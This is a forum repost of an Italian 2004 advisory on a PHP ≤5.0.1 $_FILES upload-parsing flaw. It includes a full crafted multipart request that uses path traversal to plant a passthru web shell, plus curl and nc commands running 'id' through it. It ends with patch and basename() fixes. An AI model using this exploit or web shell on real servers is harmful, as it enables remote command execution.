[转载]PHP脚本上传漏洞的利用
信息来源:[url]www.wisec.it[/url]文章备注:可惜 不是英语的 但是反正代码是相通的
Vulnerabilità PHP - Proof of Concept
Titolo:
Sovrascrittura dell'array $_FILE in relazione alla rfc1867 - Mime multipart/form-data File Upload.
Autore:
Stefano Di Paola
Vulnerabili:
Php <= 5.0.1
Non Vulnerabili:
Nessuno
Tipo di Vulnerabilità:
Possibile scrittura di un file "uploadato" in una directory arbitraria.
Risorse:
Pubblicato su Bugtraq e VulnWatch
Descrizione:
L'implementazione sbagliata del parser degli array nel file rfc1867 potrebbe permettere
la sovrascrittura di alcuni elementi di $_FILES.
Creando, infatti, una richiesta ad hoc per l'upload di un file codificata secondo le specifiche
"multipart/form-data file" è possibile bypassare assegnare all'elemento 'name' del vettore $_FILE
un valore arbitrario.
In particolare se nello script il nome dell'elemento di riferimento per l'upload contiene
una '_' (underscore) tipo "user_file", allora la vulnerabilità è una falla di sicurezza.
Utilizzando l'esempio 34-2. Validating file uploads (cambiando 'userfile' in 'user_file')
come spiegato in [url]http://www.php.net/manual/en/features.file-upload.php[/url] :
-----file: upload.php------
<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
instead
// of $_FILES.
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['user_file']['name'];
print "<pre>";
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
print "File is valid, and was successfully uploaded. ";
print "Here's some more debugging info:\n";
print_r($_FILES);
} else {
print "Possible file upload attack! Here's some debugging info:\n";
print_r($_FILES);
}
print "</pre>";
?>
----end file: upload.php------
N.B La funzione php is_uploaded_file è stata aggiunta per dimostrare che questo controllo è bypassabile.
Supponiamo che /var/www/html/ sia scrivibile dall'utente apache (o una qualunque altra directory nella radice di apache).
$: (cat form)|nc 127.0.0.1 80
<pre>
File is valid, and was successfully uploaded.
Here's some more debugging info:
Array(
[user_file] =>Array(
[name] => ../html/passt.php
[tmp_name] => /tmp/phpucjLV1
[error] => 0
[size] => 30
[type] => application/octet-stream
)
)
</pre>
Dove form è la seguente:
-----8<---form-------8<-----
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395
-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php
<?
passthru($_GET['cm']);
?>
-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream
<?
passthru($_GET['cm']);
?>
-----8<---endform----8<-----
Guardando da vicino la richiesta si può notare che il nome del file viene valorizzato da 'Content-Type: ../html/passt.php' e non da filename='p.php'
La seconda sezione è inserita solo per dare una parvenza di normalità permettendo al php di valorizzare anche l'elemento 'type', ma è più un esercizio di stile che altro...
Verifichiamo che tutto sia andato a buon fine:
$: curl "127.0.0.1/passt.php?cm=id"
uid=72(apache) gid=72(apache) groups=72(apache)
Fatto?...Fatto!
Il Problema
Il problema è dovuto al fatto che, come si può vedere nella form, giocando con le parentesi quadre e aggiungendo in coda qualunque cosa tranne una ']', si può fare in modo che vi sia un parsing sbagliato della variabile, risultando, in questo modo, un array diverso da quello atteso.
Non andrò troppo nello specifico dell'errore nel codice, basti sapere che il problema sta nel fatto che il nome del parametro 'name' nella richiesta, viene visto prima come una Stringa semplice (non array) e poi viene
'riparsato' dalla funzione php_register_varibles che la vede invece come un array, generando così una incongruenza
Questa incongruenza può essere sfruttata per riscrivere i valori degli elementi 'name' e 'type' diventando così una falla di sicurezza.
La Soluzione
La soluzione più semplice è scaricare e installare php 5.0.2 o 4.3.9 che sono state rilasciate da un paio di giorni.
Una soluzione alternativa è quella di controllare che $_FILES[]['name'] sia realmente solo un nome di file, per fare ciò basta usare qualcosa del genere:
$nomefile=basename($_FILES[]['name']);
Firenze, Domenica 26 Settembre 2004
Un'Idea sviluppata e mantenuta da...
Wisec is written and mantained by Stefano Di Paola.
Wisec usa standard aperti, inclusi XHTML, PHP e CSS2.
页:
[1]